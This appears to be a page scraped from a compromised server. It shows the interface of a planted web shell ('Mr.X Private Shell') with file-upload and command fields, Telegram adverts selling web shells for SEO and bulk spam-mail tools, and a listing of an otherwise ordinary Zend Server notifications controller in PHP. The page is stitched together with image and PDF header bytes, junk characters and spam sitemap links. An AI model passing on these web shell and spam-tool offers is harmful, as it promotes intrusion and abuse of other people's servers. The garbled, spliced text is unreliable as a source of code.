xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Notifications\Controller;

use Notifications\Db\NotificationsMapper,
    Notifications\NotificationContainer;
use Application\Module;
use Zend\Stdlib\Parameters;
use ZendServer\Mvc\Controller\WebAPIActionController,
    ZendServer\Set,
    Zend\Mvc\Controller\ActionController,
    ZendServer\Log\Log,
    ZendServer\FS\FS,
    WebAPI;
use Servers\View\Helper\ServerStatus;
use Notifications\NotificationActionContainer;
use Application\Db\Connector;
use WebAPI\Exception;
use ZendServer\Configuration\Directives\Translator;
use Zend\Uri\UriFactory;

class WebApiController extends WebAPIActionController
{

    const NEWS_CATEGORY = 5;

	/**
	 * Retrieve a list of system messages, their details and meta
	 * information. The list of messages includes state messages which
	 * cannot be modified and instance messages which can be changed. The
	 * list is always ordered by level and date. Note that Restart level is
	 * the highest level and will appear first in any list.
	 *
	 * @api
	 * @method      GET
	 * @package     notifications
	 * @version     1.13
	 * @name        getNotifications
	 * @url         https://docs.roguewave.com/en/zend/Zend-Server/content/the_getnotifications_method.htm
	 * @permissions Full
	 * @editions    All
	 * @section     Administration
	 * @see         project://WebApiC.json
	 *
	 * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
	 * @throws Exception
	 */
    public function getNotificationsAction()
    {
        $this->isMethodGet();
        /* @var $request \Zend\Http\PhpEnvironment\Request */
        $request = $this->getRequest();

        /** @var string $queryHash
         *  Hash string that represent the notifications. This hash is generated
         *  by the getNotifications API and shows in the response structure. Use
         * 	this parameter to tell what version of notifications you use and
         * 	only if notifications are changed they will be sent.
         */
        $queryHash = $request->getQuery('hash', '');

        $healthCheckResult       = $this->checkZsdHealth();

        $disableUpdates = $this->getDisableUpdateFlag() ? true : false;
        if (!$disableUpdates && $this->getNetworkEnableFlag()) {
            $this->checkRssFeed();
        }

        $this->validateString($queryHash, 'hash');

        $serversMapper       = $this->getServersMapper();
        $notificationsMapper = $this->getNotificationsMapper();

        $restartingServers      = $serversMapper->findRestartingServers();
        $restartTasks           = $this->getTasksMapper()->getRestartTasks();
        // add restart required notification in case some servers in restart required state
        $restartRequiredServers = $serversMapper->findRestartRequiredServers();
        $missingServers         = $notificationsMapper->findMissingServers();
        $daemonMessages         = $this->getMessagesMapper()->findAllDaemonsMessages();

        /* $var \Application\Controller\Plugin\ServiceLocatorPlugin $serviceLocator */
        $serviceLocator  = $this->getServiceLocator();

        /* @var $db \Zend\Db\Adapter\Adapter */
        $db = $serviceLocator->get(Connector::DB_CONTEXT_ZSD);
        $db = $db->getDriver()->getConnection();
        try {
            //$db->beginTransaction();
            if ($healthCheckResult === false) {
                $this->getNotificationsMapper()->insertNotification(NotificationContainer::TYPE_ZSD_OFFLINE);
                $this->getMessagesMapper()->insertMessage(2, 'zsd', 2, '',
                    NotificationContainer::TYPE_ZEND_EXT_NOT_LOADED);
            } elseif ($healthCheckResult === true) {
                $this->getNotificationsMapper()->deleteByType(NotificationContainer::TYPE_ZSD_OFFLINE);
            }

            $notificationsMapper->cleanNotificationsForMissingServers($missingServers);

            if ((is_array($restartRequiredServers) && count($restartRequiredServers) > 0) || (($restartRequiredServers instanceof Set)
                && ($restartRequiredServers->count() > 0))) {
                $notificationsMapper->insertNotification(NotificationContainer::TYPE_RESTART_REQUIRED);
            } else {
                $notificationsMapper->deleteByType(NotificationContainer::TYPE_RESTART_REQUIRED);
            }
            //$db->commit();
        } catch (\Exception $ex) {
            $db->rollback();
            throw new Exception(
                vsprintf('Could not manage notifications: %s', array($ex->getMessage())). ' trace = '.$ex->getTraceAsString(),
                Exception::INTERNAL_SERVER_ERROR, $ex
            );
        }

        $notifications = $notificationsMapper->findAllNotificationsWithNames();

        $notificationsSet = new Set($notifications->toArray());
        $notificationsSet->setHydrateClass('\Notifications\NotificationContainer');

        // remove restarting notification in case no restart required is present
        $notificationTypes = array();
        foreach ($notificationsSet as $key => $notification) { /* @var $notification NotificationContainer */
            $notificationTypes[$notification->getType()] = $key;
        }

        // Remove expiration notices if license is not going to expire
        /// this may happen if a trial license was replaced "under the hood" with a new unexpired license
        if (isset($notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_45]) || isset($notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_15])
            || isset($notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE])) {

            $licenseExpiryDays   = $this->getZemUtilsWrapper()->getLicenseExpirationDaysNum(true);
            $licenseNeverExpires = $this->getZemUtilsWrapper()->getLicenseInfo()->isNeverExpires();
            if ($licenseExpiryDays > 60 || $licenseNeverExpires) {
                if (isset($notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_45])) {
                    unset($notificationsSet[$notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_45]]);
                    $notificationsMapper->deleteByType(NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_45);
                }
                if (isset($notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_15])) {
                    unset($notificationsSet[$notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_15]]);
                    $notificationsMapper->deleteByType(NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_15);
                }
                if (isset($notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE])) {
                    unset($notificationsSet[$notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE]]);
                    $notificationsMapper->deleteByType(NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE);
                }
            }
        }
        // Remove 45 days expiry if there's either a 15/7 days notification
        if (isset($notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_45]) && (isset($notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_15])
            || isset($notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE]))) {
            unset($notificationsSet[$notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_45]]);
            $notificationsMapper->deleteByType(NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_45);
        }
        // Remove 15 days expiry if there's 7 days notification
        if (isset($notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_15]) && isset($notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE])) {
            unset($notificationsSet[$notificationTypes[NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_15]]);
            $notificationsMapper->deleteByType(NotificationContainer::TYPE_LICENSE_ABOUT_TO_EXPIRE_15);
        }
        if (isset($notificationTypes[NotificationContainer::TYPE_DATABASE_CONNECTION_RESTORED])) {
            $notificationsArray = $notificationsSet->toArray();
            foreach ($notificationsArray as $key => $value) {
                if ($value['TYPE'] == NotificationContainer::TYPE_DATABASE_CONNECTION_RESTORED) {
                    $serversMapper = $this->getLocator()->get('Servers\Db\Mapper'); /* @var $serversMapper \Servers\Db\Mapper */
                    $serversSet    = $serversMapper->findServerById($value['NODE_ID']);

                    $notificationsArray[$key]['EXTRA_DATA'] = json_encode(array($serversSet->getNodeName()));
                }
            }
            $notificationsSet = new Set($notificationsArray);
            $notificationsSet->setHydrateClass('\Notifications\NotificationContainer');
        }

        $hash = md5(serialize($notificationsSet));
        if ($hash == $queryHash) {
            $notificationsSet = array();
        }

	    /* @response 200 {
         *  notifications: [{
         *      id: integer "102"
         *      severity: integer "1"
         *      creationTime: integer "1525074110"
         *      type: integer "50"
         *      name: string "zddOffline"
         *      repeats: integer "0"
         *      title: string "Deployment daemon offline"
         *      description: string "The deployment daemon is offline"
         *      url: string "/#!/administration/components"
         *      extra_data: [
         *          string
         *     ]
         *  }]
         *  hash: string "42c691cf2f3ef36026db5bac16ad172e"
         *  daemonMessages: [{
         *      msgId: integer "8694"
         *      nodeId: integer "8694"
         *      context: string "daemon"
         *      key: string "zdd"
         *      severity: string "error"
         *      details: string
         *      type: string "offline"
         *  }]
         *  isRestarting: boolean
         * }
         */
        return [
            'notifications' => $notificationsSet,
                 /*[{
                    id: integer "102"
                    severity: integer "1"
                    creationTime: integer "1525074110"
                    type: integer "50"
                    name: string "zddOffline"
                    repeats: integer "0"
                    title: string "Deployment daemon offline"
                    description: string "The deployment daemon is offline"
                    url: string "/#!/administration/components"
                    extra_data: [
                        string
                    ]
	             }]*/
            'hash' => $hash,
                // string "42c691cf2f3ef36026db5bac16ad172e"
            'daemonMessages' => $daemonMessages,
                /*[{
                    msgId: integer "8694"
                    nodeId: integer "8694"
                    context: string "daemon"
                    key: string "zdd"
                    severity: string "error"
                    details: string
                    type: string "offline"
                }]*/
            'isRestarting' => (count($restartingServers) > 0 || count($restartTasks) > 0),
                // boolean
        ];
    }

    private function getDisableUpdateFlag()
    {
        try {
            $iniFile = $this->getDirectivesMapper()->getDirective('zend_gui.disableUpdates')->getIniFile();
        }
        catch (\Exception $e) {
            Log::err($e->getMessage());

            return false;
        }
        if ($iniFile) {
            $iniArray = parse_ini_file($iniFile);
            return isset($iniArray['zend_gui.disableUpdates']) ? $iniArray['zend_gui.disableUpdates'] : 0;
        }
        return Translator::getRealValue($this->getDirectivesMapper()->getDirective('zend_gui.disableUpdates')) ? true : false;
    }

    private function checkRssFeed()
    {
        static $checked = false;
        if ($checked) {
            return;
        }

        try {
            $rssFeed = $this->getZendServerRssFeed();
            if (empty($rssFeed)) {
                throw new \Exception('"getZendServerRssFeed" failed');
            }

            $channel  = \Zend\Feed\Reader\Reader::importString($rssFeed);
            $lastDate = Module::config('rss', 'zend_gui', 'rssDate');
            $newItems = array();
            $maxDate  = null;
            $date = null;
            foreach ($channel as $item) { /* @var $item \Zend\Feed\Reader\Entry\Rss */
                $date = $item->getDateModified(); /* @var $date \DateTime */
                if ($date->getTimestamp() - $lastDate > 0) {
                    $newItems[] = $item;
                    $maxDate    = $date;
                }
            }

            // if the news are old - remove it, bug #ZSR-2779
            if (!$date && $this->getNotificationsMapper()->getNotificationByType(\Notifications\NotificationContainer::TYPE_RSS_NEWS_AVAILABLE + self::NEWS_CATEGORY)) {
                $this->getNotificationsMapper()->deleteByType(\Notifications\NotificationContainer::TYPE_RSS_NEWS_AVAILABLE + self::NEWS_CATEGORY);
            }
            foreach ($newItems as $newItem) {
                $checked = true; // important!
                $this->getGuiConfigurationMapper()->setGuiDirectives(array('zend_gui.rssDate' => $maxDate->getTimestamp()));

                $category         = current($newItem->getCategories()->getValues());
                $notificationType = \Notifications\NotificationContainer::TYPE_RSS_NEWS_AVAILABLE + $category;

                $this->getNotificationsMapper()->deleteByType($notificationType);
                $this->getNotificationsMapper()->insertNotification($notificationType,
                    array($newItem->getDescription(), 'title' => $newItem->getTitle()));

                $renderer = $this->getLocator('Zend\View\Renderer\PhpRenderer'); /* @var $renderer \Zend\View\Renderer\PhpRenderer */
                $resolver = $renderer->resolver();

                $request   = $this->getRequest(); /* @var $request \Zend\Http\PhpEnvironment\Request */
                $request->setPost(new \Zend\Stdlib\Parameters(array('type' => 'RSSUpdateAvailable'.$category)));
                $request->setMethod('POST');
                $viewModel = $this->forward()->dispatch('NotificationsWebApi-1_3', array('action' => 'sendNotification')); /* @var $viewModel \Zend\View\Model\ViewModel */

                $renderer->setResolver($resolver);
            }
        } catch (\Exception $e) {
            Log::debug('Failed get rss feed:' . $e->getMessage());
            return;
        }
    }

    private function getZendServerRssFeed()
    {
        try {
            $guiTemp          = FS::getGuiTempDir();
            $welcomePath      = $guiTemp.DIRECTORY_SEPARATOR.'rss.html';
            $welcomeTimestamp = 0;
            if (file_exists($welcomePath)) {
                $welcomeTimestamp = filemtime($welcomePath);
            }

            $welcomeContent = '';
            // check if timestamp is a day older - check once a day
            if ($welcomeTimestamp <= strtotime('-1 day')) {

                // Set the configuration parameters
                $config = null;

                // bug #ZSRV-16375
                // Use the standard Linux HTTP_PROXY/http_proxy if set
                // example of proxy env. : "http://root:1234@dddd:888" or "http://proxy.example.org" or http://212.47.239.185:9007/
                // if ($proxy = "http://177.69.61.114:80") { - tested with this
                $proxy = getenv('HTTP_PROXY') ? getenv('HTTP_PROXY') : getenv('http_proxy');
                if ($proxy) {

                    $config = array('adapter' => 'Zend\Http\Client\Adapter\Proxy');

                    // $proxy; // http://USERNAME:PASSWORD@PROXYIP:PROXYPORT
                    if (strstr($proxy, '@')) {
                        $proxyArr = explode("@", $proxy);

                        //webproxy.com:port
                        $proxyAddr = $proxyArr[1];
                        if (strstr($proxyAddr, ':')) {
                            $proxyAddr            = explode(":", $proxyAddr);
                            $config['proxy_host'] = $proxyAddr[0];
                            $config['proxy_port'] = $proxyAddr[1];
                        } else {
                            $config['proxy_host'] = $proxyAddr;
                        }

                        //"http://username:password"
                        $userPasswd = $proxyArr[0];
                        $userPasswd = str_replace("http://", "", $userPasswd);
                        if (strstr($userPasswd, ':')) {
                            $userPasswd           = explode(":", $userPasswd);
                            $config['proxy_user'] = $userPasswd[0];
                            $config['proxy_pass'] = $userPasswd[1];
                        } else {
                            $config['proxy_user'] = $userPasswd;
                        }
                    } else {

                        $proxy = str_replace("http://", "", $proxy);
                        if (strstr($proxy, ':')) {
                            $proxyAddr            = explode(":", $proxy);
                            $config['proxy_host'] = $proxyAddr[0];
                            $config['proxy_port'] = $proxyAddr[1];
                        } else {
                            $config['proxy_host'] = $proxy;
                        }
                    }
                    Log::debug('Using proxy settings: '.var_export($config, true));
                }

                // trim the salashes from the port, bug #ZSRV-16375
                if (isset($config['proxy_port']) && $config['proxy_port']) {
                    $config['proxy_port'] = trim($config['proxy_port'], '/');
                }

                // set timeout
                $config['timeout'] = 5;

                $client   = new \Zend\Http\Client($this->getRssUrl(), $config);
                $response = $client->send();
                //Log::err(var_export($response,true));
                if ($response->isOk() !== false) {
                    file_put_contents($welcomePath, $response->getBody());
                    $welcomeContent = $response->getBody();
                } else {
                    if (file_exists($welcomePath)) {
                        $welcomeContent = file_get_contents($welcomePath);
                    } else {
                        file_put_contents($welcomePath, '');
                        $welcomeContent = '';
                    }
                }
            }
            else {
                if (file_exists($welcomePath)) {
                    $welcomeContent = file_get_contents($welcomePath);
                }
            }
        } catch (\Exception $e) {
            file_put_contents($welcomePath, '');
            $welcomeContent = '';
        }

        return $welcomeContent;
    }

    private function getRssUrl()
    {
        $osName = FS::getOSAsString();
        $arch   = php_uname('m');

        if (strtolower($osName) == 'linux') {
            $osName = $this->getLinuxDistro();
            if (empty($osName)) {
                $osName = 'Linux';
            }
        }

        $uniqueId  = Module::config('license', 'zend_gui', 'uniqueId');
        $zsVersion = Module::config('package', 'version');
        $profile   = Module::config('package', 'zend_gui', 'serverProfile');

        $trial = ($this->getZemUtilsWrapper()->getLicenseType() == \Configuration\License\License::EDITION_ENTERPRISE_TRIAL)
                ? '1' : '0';

        //Log::err(Module::config('rss', 'zend_gui', 'rssUrl').'?zsVersion='.$zsVersion.'&php='.phpversion().'&arch='.$arch.'&os='.$osName.'&profile='.$profile.'&trial='.$trial.'&hash='.$uniqueId);
        return Module::config('rss', 'zend_gui', 'rssUrl').'?zsVersion='.$zsVersion.'&php='.phpversion().'&arch='.$arch.'&os='.$osName.'&profile='.$profile.'&trial='.$trial.'&hash='.$uniqueId;
    }

    /**
     * null means there's an error checking current state
     * @return boolean|null
     */
    private function checkZsdHealth()
    {
        $zsdHealthChecker      = $this->getLocator()->get('Zsd\ZsdHealthChecker');
        $notificationContainer = $this->getNotificationsMapper()->getNotificationByType(NotificationContainer::TYPE_ZSD_OFFLINE)->current();
        $zsdIsDown             = (is_object($notificationContainer) && $notificationContainer->getId() > 0);

        return $zsdHealthChecker->checkZsdHealth($zsdIsDown);
    }

    /**
     * Delete notification by type.
     *
     * @api
     * @method POST
     * @version 1.3
     * @section Administration
     * @name deleteNotification
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_deletenotification_method.htm
     * @permissions Full
     * @editions All
     * @param String type Required. One of types: serverOffline, restartRequired, daemonOffline,
     * 	phpExtDirectiveMismatch, phpExtNotLoaded, phpExtNotInstalled,
     * 	zendExtDirectiveMismatch, zendExtNotLoaded, zendExtNotInstalled,
     * 	deploymentFailure, deploymentUpdateFailure,
     * 	deploymentRedeployFailure, deploymentHealthcheckFailure,
     * 	deploymentRemoveFailure, deploymentRollbackFailure,
     * 	deploymentDefineAppFailure, serverAddError, serverRemoveError,
     * 	serverEnableError, serverDisableError, serverForceRemoveError,
     * 	jobqueueHighConcurrency, serverRestarting,
     * 	sessionClusteringWrongHandler, invalidLicense, licenseAboutToExpire,
     * 	webserverNotResponding, maxServersInCluster, licenseAboutToExpire45,
     * 	licenseAboutToExpire15, databaseConnectionRestored,
     * 	sessionClusteringStdbyMode, zendServerDaemonOffline,
     * 	sessionClusteringErrorMode
     * @response
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function deleteNotificationAction()
    {
        $this->isMethodPost();

        $params = $this->getParameters(array(
            'type' => '',
        ));

        $this->validateMandatoryParameters($params, array('type'));
        $type = $this->validateNotificationType($params['type'], 'type');


        $mapper = $this->getNotificationsMapper();
        $mapper->deleteByType($type);

        return array();
    }

    /**
     * Update notification properties.
     *
     * @api
     * @method POST
     * @version 1.3
     * @section Administration
     * @name updateNotification
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_updatenotification_method.htm
     * @permissions Full
     * @editions All
     * @param String type Required. One of types.
     * @param Integer repeat Optional. How long the notification should be hidden from user (in minutes).
     * @response
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function updateNotificationAction()
    {
        $this->isMethodPost();

        $params = $this->getParameters(array(
            'type' => '',
            'repeat' => ''
        ));

        $this->validateMandatoryParameters($params, array('type'));
        $this->validateString($params['type'], 'type');
        $this->validateInteger($params['repeat'], 'repeat');

        $mapper = $this->getNotificationsMapper();
        $type   = $this->convertNotificationNameToType($params['type']);
        $repeat = $params['repeat'];

        if ($type == \Notifications\NotificationContainer::TYPE_MAX_SERVERS_IN_CLUSTER) { // maxServersInCluster will be delayed for maximum 1 week
            $repeat = min(10080, $repeat); // 1 week = 60 * 24 * 7
        } elseif ($type == \Notifications\NotificationContainer::TYPE_NO_SUPPORT) { // noSupport will be delayed for maximum 1 month
            $repeat = min(40320, $repeat); // 1 month = 60 * 24 * 7 * 4
        }

        $mapper->insertFilter($type, $repeat);

        $notifications    = $mapper->getNotificationByType($type);
        $notificationsSet = new Set($notifications->toArray());
        $notificationsSet->setHydrateClass('\Notifications\NotificationContainer');

        return array('notifications' => $notificationsSet);
    }

    /**
     * Sends notification email message.
     *
     * @api
     * @method POST
     * @version 1.3
     * @section Administration
     * @name sendNotification
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_sendnotification_method.htm
     * @permissions Full
     * @editions All
     * @param String type Required. One of types.
     * @param String ip Required. The public IP of Zend Server.
     * @response
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function sendNotificationAction()
    {
        $this->isMethodPost();

        $params = $this->getParameters(array(
            'type' => '',
            'ip' => '127.0.0.1'
        ));

        if (empty($params['ip'])) {
            $params['ip'] = '127.0.0.1';
        }

        $this->validateMandatoryParameters($params, array('type', 'ip'));
        $this->validateString($params['type'], 'type');
        $this->validateString($params['ip'], 'ip');


        $notificationAction = $this->getNotificationsActionMapper()->getNotification($params['type']);

        if ($notificationAction->count() == 0) {
            return array();
        }

        $notificationAction = $notificationAction->current();

        // find the relevant notification in the database
        $notificationType       = $notificationAction->getType();
        $availableNotifications = $this->getNotificationsMapper()->getNotificationByType($notificationType);
        if ($availableNotifications->count() == 0 && !isset($params['extra_data'])) {
            throw new \WebAPI\Exception(_t('Notification of type %s (id: %s) was not found. Notification action: %s',
                array(
                $notificationAction->getName(), $notificationAction->getType(), json_encode($notificationAction->toArray())
            )), \WebAPI\Exception::MISSING_RECORD);
        } elseif ($availableNotifications->count() > 0) {
            $notificationRow = $availableNotifications->current();
            $extraData       = json_encode($notificationRow->getExtraData());
        } else {
            $extraData = $params['extra_data'];
        }


        $notification = new NotificationContainer(array('TYPE' => $notificationType, 'EXTRA_DATA' => $extraData));

        $notificationEmail        = $notificationAction->getEmail();
        $notificationCustomAction = $notificationAction->getCustomAction();

        $renderer = $this->getLocator()->get('Zend\View\Renderer\PhpRenderer');
        $listView = array();

        $licenseError = false;
        // send email
        if (!empty($notificationEmail)) {
            if ($this->isAclAllowed('data:useEmailNotification')) {
                $templateParams = array(
                    'title' => $notification->getTitle(),
                    'description' => $renderer->notificationDescription($notification),
                    'url' => '',
                );

                $url = $notification->getUrl();
                if (!empty($url)) {

                    $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives'); /* @var $directivesMapper \Configuration\MapperDirectives */
                    $guiHostName      = $directivesMapper->selectSpecificDirectives(array('zend_monitor.gui_host_name'));
                    $guiHostName      = $guiHostName->current()->getValue();

                    if (empty($guiHostName)) {
                        $guiHostName = '127.0.0.1';
                    }

                    $uri = UriFactory::factory($guiHostName, 'http');

                    if (!$uri->isAbsolute()) {
                        $uri->setHost($guiHostName);
                    }

                    if (is_null($uri->getScheme())) {
                        $uri->setScheme('http');
                    }

                    if ($uri->getScheme() == 'https') {
                        $uri->setPort(Module::config('installation', 'securedPort'));
                    } else {
                        $uri->setPort(Module::config('installation', 'defaultPort'));
                    }

                    $uri->setPath(Module::config('baseUrl'));

                    // create external url
                    $baseUrl = $uri->toString();

                    $templateParams['url'] = $baseUrl.$notification->getUrl();
                }

                $fromAddress = Module::config('mail', 'zend_gui', 'from_address') ? Module::config('mail', 'zend_gui',
                        'from_address') : 'no-reply@zend.com';

                $this->getRequest()->getPost()->set('to', $notificationEmail);
                $this->getRequest()->getPost()->set('from', $fromAddress);
                $this->getRequest()->getPost()->set('subject', 'Zend Server Notification Alert');
                $this->getRequest()->getPost()->set('templateName', 'notification');
                $this->getRequest()->getPost()->set('templateParams', $templateParams);

                $listView = $this->forward()->dispatch('EmailWebAPI-1_3', array('action' => 'emailSend')); /* @var $emailListView \Zend\View\Model\ViewModel */
                $listView->setTemplate('notifications/web-api/1x3/send-notification');
            } else {
                $licenseError = true;
            }
        }

        // call script
        if (!empty($notificationCustomAction)) {

            $networkEnabled = $this->getNetworkEnableFlag() ? true : false;
            // disable the network connection by directive setting
            if (!$networkEnabled) {
                throw new WebAPI\Exception('The Internet access of Zend Server is disabled. Go to Administration->Settings');
            }

            if ($this->isAclAllowed('data:useCustomAction')) {
                // need to replace with cUrl
                $ctx = stream_context_create(array(
                    'http' => array(
                        'timeout' => 1
                    )
                    )
                );

                $uri       = new \Zend\Uri\Http($notificationCustomAction);
                $uriParams = $uri->getQueryAsArray();
                $uri->setQuery(array_merge($uriParams, array('type' => $params['type'])));

                file_get_contents($uri, 0, $ctx);
            } else {
                $licenseError = true;
            }
        }

        if ($licenseError) {
            throw new WebAPI\Exception(_t('Not supported by edition'), WebAPI\Exception::NOT_SUPPORTED_BY_EDITION);
        }

        return $listView;
    }

    private function validateNotificationType($type)
    {
        $notificationsActionsMapper = $this->getNotificationsActionMapper();
        $notifications              = $notificationsActionsMapper->findAll();
        $dictionary                 = array();
        foreach ($notifications as $notificationType) { /* @var $notificationType NotificationActionContainer */
            $dictionary[$notificationType->getName()] = $notificationType->getType();
        }
        Log::debug($dictionary);
        if (!isset($dictionary[$type])) {
            throw new WebAPI\Exception(_t('type parameter must be one of (%s)',
                array(implode(', ', array_keys($dictionary)))), WebAPI\Exception::INVALID_PARAMETER);
        }
        return $dictionary[$type];
    }

    /**
     * @param string $name
     * @return integer
     */
    private function convertNotificationNameToType($name)
    {
        $notificationsActionsMapper = $this->getNotificationsActionMapper();
        $notificationAction         = $notificationsActionsMapper->getNotification($name);
        if (count($notificationAction) == 0) {
            return -1;
        }
        $notificationAction = $notificationAction->current();
        return $notificationAction->getType();
    }

    /**
     * Return the linux distro name
     * @return mixed
     */
    private function getLinuxDistro()
    {
        exec('less /etc/issue', $output);
        if (count($output) > 0) {

            $distros = array(
                'Ubuntu' => 'Ubuntu',
                'Fedora' => 'Fedora',
                'OEL' => 'Oracle',
                'RHEL' => 'Red Hat',
                'OpenSUSE' => 'openSUSE',
                'SUSE' => 'SUSE',
                'Debian' => 'Debian',
                'CentOS' => 'CentOS',
            );

            foreach ($distros as $distro => $keyword) {
                foreach ($output as $outputRow) {
                    if (strpos($outputRow, $keyword) !== false) {
                        return $distro;
                    }
                }
            }
        }

        return '';
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
WebApiController.php File 32.2 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml